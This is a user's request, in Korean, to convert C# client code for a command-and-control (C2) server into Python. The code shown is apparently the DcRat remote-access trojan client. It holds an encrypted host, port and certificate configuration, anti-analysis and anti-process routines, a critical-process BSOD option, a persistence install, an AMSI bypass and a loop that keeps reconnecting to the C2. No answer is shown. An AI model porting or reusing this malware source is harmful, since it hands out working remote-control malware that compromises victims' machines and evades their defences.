아래는 c2c 서버에서 명령을 받고 작동하는 클라이언트 코드야 이건 c# 이고 이걸 python 으로 변환해줘 
using Client.Algorithm;
using Client.Helper;
using System;
using System.IO;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Text;

namespace Client
{
    public static class Settings
    {
        public static string Por_ts = "%Ports%";
        public static string Hos_ts = "%Hosts%";
        public static string Ver_sion = "%Version%";
        public static string In_stall = "%Install%";
        public static string Install_Folder = "%Folder%";
        public static string Install_File = "%File%";
        public static string Key = "%Key%";
        public static string MTX = "%MTX%";
        public static string Certifi_cate = "%Certificate%";
        public static string Server_signa_ture = "%Serversignature%";
        public static X509Certificate2 Server_Certificate;
        public static Aes256 aes256;
        public static string Paste_bin = "%Paste_bin%";
        public static string BS_OD = "%BSOD%";
        public static string Hw_id = null;
        public static string De_lay = "%Delay%";
        public static string Group = "%Group%";
        public static string Anti_Process = "%AntiProcess%";
        public static string An_ti = "%Anti%";



        public static bool InitializeSettings()
        {

            try
            {
                Key = Encoding.UTF8.GetString(Convert.FromBase64String(Key));
                aes256 = new Aes256(Key);
                Por_ts = aes256.Decrypt(Por_ts);
                Hos_ts = aes256.Decrypt(Hos_ts);
                Ver_sion = aes256.Decrypt(Ver_sion);
                In_stall = aes256.Decrypt(In_stall);
                MTX = aes256.Decrypt(MTX);
                Paste_bin = aes256.Decrypt(Paste_bin);
                An_ti = aes256.Decrypt(An_ti);
                Anti_Process = aes256.Decrypt(Anti_Process);
                BS_OD = aes256.Decrypt(BS_OD);
                Group = aes256.Decrypt(Group);
                Hw_id = HwidGen.HWID();
                Server_signa_ture = aes256.Decrypt(Server_signa_ture);
                Server_Certificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certifi_cate)));
                return VerifyHash();
            }
            catch { return false; }
        }
        private static bool VerifyHash()
        {
            try
            {
                var csp = (RSACryptoServiceProvider)Server_Certificate.PublicKey.Key;
                using (SHA256Managed sha = new SHA256Managed())
                {
                    return csp.VerifyHash(sha.ComputeHash(Encoding.UTF8.GetBytes(Key)), CryptoConfig.MapNameToOID("SHA256"), Convert.FromBase64String(Server_signa_ture));
                }
            }
            catch (Exception)
            {
                return false;
            }
        }
    }
}
using System.Threading;
using Client.Connection;
using Client.Install;
using System;
using Client.Helper;

namespace Client
{
    public class Program
    {
        public static void Main()
        {
            for (int i = 0; i < Convert.ToInt32(Settings.De_lay); i++)
            {
                Thread.Sleep(1000);
            }

            if (!Settings.InitializeSettings()) Environment.Exit(0);

            try
            {
                if (Convert.ToBoolean(Settings.An_ti)) //run anti-virtual environment
                    Anti_Analysis.RunAntiAnalysis();
                if (!MutexControl.CreateMutex()) //if current payload is a duplicate
                    Environment.Exit(0);
                if (Convert.ToBoolean(Settings.Anti_Process)) //run AntiProcess
                    AntiProcess.StartBlock();
                if (Convert.ToBoolean(Settings.BS_OD) && Methods.IsAdmin()) //active critical process
                    ProcessCritical.Set();
                if (Convert.ToBoolean(Settings.In_stall)) //drop payload [persistence]
                    NormalStartup.Install();
                Methods.PreventSleep(); //prevent pc to idle\sleep
                
                if (Methods.IsAdmin())
                    Methods.ClearSetting();
                Amsi.Bypass();



            }
            catch { }

            while (true) // ~ loop to check socket status
            {
                try
                {
                    if (!ClientSocket.IsConnected)
                    {
                        ClientSocket.Reconnect();
                        ClientSocket.InitializeClient();
                    }
                }
                catch { }
                Thread.Sleep(5000);
            }
        }
    }
}
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;

namespace Client.Algorithm
{
        public class Aes256
        {
            private const int KeyLength = 32;
            private const int AuthKeyLength = 64;
            private const int IvLength = 16;
            private const int HmacSha256Length = 32;
            private readonly byte[] _key;
            private readonly byte[] _authKey;

            private static readonly byte[] Salt = Encoding.ASCII.GetBytes("DcRatByqwqdanchun");

        public Aes256(string masterKey)
            {
                if (string.IsNullOrEmpty(masterKey))
                    throw new ArgumentException($"{nameof(masterKey)} can not be null or empty.");

                using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(masterKey, Salt, 50000))
                {
                    _key = derive.GetBytes(KeyLength);
                    _authKey = derive.GetBytes(AuthKeyLength);
                }
            }

            public string Encrypt(string input)
            {
                return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input)));
            }

            /* FORMAT
             * ----------------------------------------
             * |     HMAC     |   IV   |  CIPHERTEXT  |
             * ----------------------------------------
             *     32 bytes    16 bytes
             */
            public byte[] Encrypt(byte[] input)
            {
                if (input == null)
                    throw new ArgumentNullException($"{nameof(input)} can not be null.");

                using (var ms = new MemoryStream())
                {
                    ms.Position = HmacSha256Length; // reserve first 32 bytes for HMAC
                    using (var aesProvider = new AesCryptoServiceProvider())
                    {
                        aesProvider.KeySize = 256;
                        aesProvider.BlockSize = 128;
                        aesProvider.Mode = CipherMode.CBC;
                        aesProvider.Padding = PaddingMode.PKCS7;
                        aesProvider.Key = _key;
                        aesProvider.GenerateIV();

                        using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write))
                        {
                            ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write next 16 bytes the IV, followed by ciphertext
                            cs.Write(input, 0, input.Length);
                            cs.FlushFinalBlock();

                            using (var hmac = new HMACSHA256(_authKey))
                            {
                                byte[] hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); // compute the HMAC of IV and ciphertext
                                ms.Position = 0; // write hash at beginning
                                ms.Write(hash, 0, hash.Length);
                            }
                        }
                    }

                    return ms.ToArray();
                }
            }

            public string Decrypt(string input)
            {
                return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input)));
            }

            public byte[] Decrypt(byte[] input)
            {
                if (input == null)
                    throw new ArgumentNullException($"{nameof(input)} can not be null.");

                using (var ms = new MemoryStream(input))
                {
                    using (var aesProvider = new AesCryptoServiceProvider())
                    {
                        aesProvider.KeySize = 256;
                        aesProvider.BlockSize = 128;
                        aesProvider.Mode = CipherMode.CBC;
                        aesProvider.Padding = PaddingMode.PKCS7;
                        aesProvider.Key = _key;

                        // read first 32 bytes for HMAC
                        using (var hmac = new HMACSHA256(_authKey))
                        {
                            var hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length);
                            byte[] receivedHash = new byte[HmacSha256Length];
                            ms.Read(receivedHash, 0, receivedHash.Length);

                            if (!AreEqual(hash, receivedHash))
                                throw new CryptographicException("Invalid message authentication code (MAC).");
                        }

                        byte[] iv = new byte[IvLength];
                        ms.Read(iv, 0, IvLength); // read next 16 bytes for IV, followed by ciphertext
                        aesProvider.IV = iv;

                        using (var cs = new CryptoStream(ms, aesProvider.CreateDecryptor(), CryptoStreamMode.Read))
                        {
                            byte[] temp = new byte[ms.Length - IvLength + 1];
                            byte[] data = new byte[cs.Read(temp, 0, temp.Length)];
                            Buffer.BlockCopy(temp, 0, data, 0, data.Length);
                            return data;
                        }
                    }
                }
            }

            /// <summary>
            /// Compares two byte arrays for equality.
            /// </summary>
            /// <param name="a1">Byte array to compare</param>
            /// <param name="a2">Byte array to compare</param>
            /// <returns>True if equal, else false</returns>
            /// <remarks>
            /// Assumes that the byte arrays have the same length.
            /// This method is safe against timing attacks.
            /// </remarks>
            [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
            private bool AreEqual(byte[] a1, byte[] a2)
            {
                bool result = true;
                for (int i = 0; i < a1.Length; ++i)
                {
                    if (a1[i] != a2[i])
                        result = false;
                }
                return result;
            }
        }
    }